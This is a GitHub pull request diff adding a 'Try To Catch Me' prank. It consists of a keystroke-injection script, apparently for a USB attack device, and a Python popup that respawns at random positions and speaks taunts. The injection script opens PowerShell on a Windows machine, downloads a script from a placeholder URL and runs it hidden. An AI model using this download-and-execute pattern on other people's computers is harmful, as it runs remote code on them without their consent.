Merge pull request #342 from aleff-github/patch-61

Try To Catch Me
pull/393/merge
Dallas Winger 2024-01-08 02:22:09 -05:00 committed by GitHub
commit 2fea45c738
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 166 additions and 0 deletions

View File

@ -0,0 +1,48 @@
# Try To Catch Me
A script used to prank your friends with a script that will create a TryToCatchMe popup uncatchable.
**Category**: Prank
![](example.gif)
## Description
A script used to prank your friends with a script that will create a TryToCatchMe popup uncatchable.
Open a PowerShell, download the Python script and execute it. The Python script will create the popup through the Tk Popup.
## Getting Started
## Dependencies
* Python
* Internet Connection
## Settings
- Setup your Python script link
`DEFINE SCRIPT-PY-LINK example.com`
## Credits
<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>

Binary file not shown.

After

Width:  |  Height:  |  Size: 583 KiB

View File

@ -0,0 +1,32 @@
REM ####################################
REM # |
REM # Title : Try To Catch Me |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Prank |
REM # Target : Windows 10/11 |
REM # |
REM ####################################
REM Requirements:
REM - Python
REM - Internet Connection
REM REQUIRED - Set your Python script link
DEFINE #SCRIPT-PY-LINK example.com
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 500
STRINGLN Invoke-WebRequest -Uri "#SCRIPT-PY-LINK" -OutFile "script.py"
DELAY 500
STRINGLN Start-Process python.exe -ArgumentList "script.py" -WindowStyle Hidden
DELAY 1000
ALT F4

View File

@ -0,0 +1,86 @@
try:
import tkinter as tk # Import the tkinter module as tk for creating GUI
import tkinter.ttk as ttk # Import the ttk module from tkinter for themed widgets
import random # Import the random module for generating random numbers
import pyttsx3 # Import the pyttsx3 module for text-to-speech synthesis
except ImportError:
import subprocess # Import the subprocess module for executing system commands
import sys # Import the sys module for system-specific parameters and functions
def install_package(package):
# Function to install a Python package using pip
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
try:
import tkinter as tk # Import tkinter module as tk
import tkinter.ttk as ttk # Import ttk module from tkinter
import random # Import random module
import pyttsx3 # Import pyttsx3 module
except ImportError:
install_package("tkinter") # Install tkinter package if import fails
install_package("pyttsx3") # Install pyttsx3 package if import fails
import tkinter as tk # Import tkinter module as tk
import tkinter.ttk as ttk # Import ttk module from tkinter
import random # Import random module
import pyttsx3 # Import pyttsx3 module
# Define a list of strings for popup messages
testi = ["Catch me!", "I'm here!", "Where are you clicking?", "Ooooh, come on!", "It's too easy!"]
motore = pyttsx3.init() # Initialize the pyttsx3 engine for text-to-speech synthesis
# Define a class for the popup window
class Popup:
def __init__(self, master):
self.master = master # Assign the master (root) window to the popup window
self.popup = tk.Toplevel(master) # Create a new top-level window
self.popup.title("Try to catch me!") # Set the title of the popup window
# Set the protocol for handling the window close event
self.popup.protocol("WM_DELETE_WINDOW", self.close_popup)
# Create a label widget for the message in the popup window
message_label = ttk.Label(self.popup, text="Try to catch me!", font=("Helvetica", 18, "bold"), foreground="white", background="black")
message_label.pack(pady=20) # Add the label to the window and set the padding
# Create a button widget for closing the popup window
self.close_button = ttk.Button(self.popup, text="Catch!", command=self.close_popup)
self.close_button.pack(pady=10) # Add the button to the window and set the padding
# Create a ttk.Style object for configuring the popup window's appearance
self.popup.style = ttk.Style(self.popup)
# Configure a custom style for the frame widget in the popup window
self.popup.style.configure("Popup.TFrame", background="black")
# Configure the style for the button widget in the popup window
self.popup.style.configure("TButton", background="white", font=("Helvetica", 14))
# Configure the style for the label widget in the popup window
self.popup.style.configure("TLabel", foreground="white", background="black", font=("Helvetica", 14))
# Create a frame widget with the custom style in the popup window
self.popup_frame = ttk.Frame(self.popup, style="Popup.TFrame", width=200)
self.popup_frame.pack_propagate(0) # Prevent the frame from resizing
self.popup_frame.pack() # Add the frame to the popup window
self.x = random.randint(0, master.winfo_screenwidth() - 200)
self.y = random.randint(0, master.winfo_screenheight() - 100)
# Set the position of the popup window randomly on the screen
self.popup.geometry("+{}+{}".format(self.x, self.y))
def close_popup(self):
self.popup.destroy() # Destroy the popup window
Popup(self.master) # Create a new instance of the Popup class
rate = motore.getProperty('rate') # Get the current speech rate
motore.setProperty('rate', rate) # Set the speech rate
motore.say(testi[random.randint(0, len(testi)-1)]) # Generate a random index and speak a random message from the list
motore.runAndWait() # Run the text-to-speech synthesis engine
root = tk.Tk() # Create the root window
root.withdraw() # Hide the root window
popup = Popup(root) # Create an instance of the Popup class with the root window
root.mainloop() # Start the main event loop of the tkinter application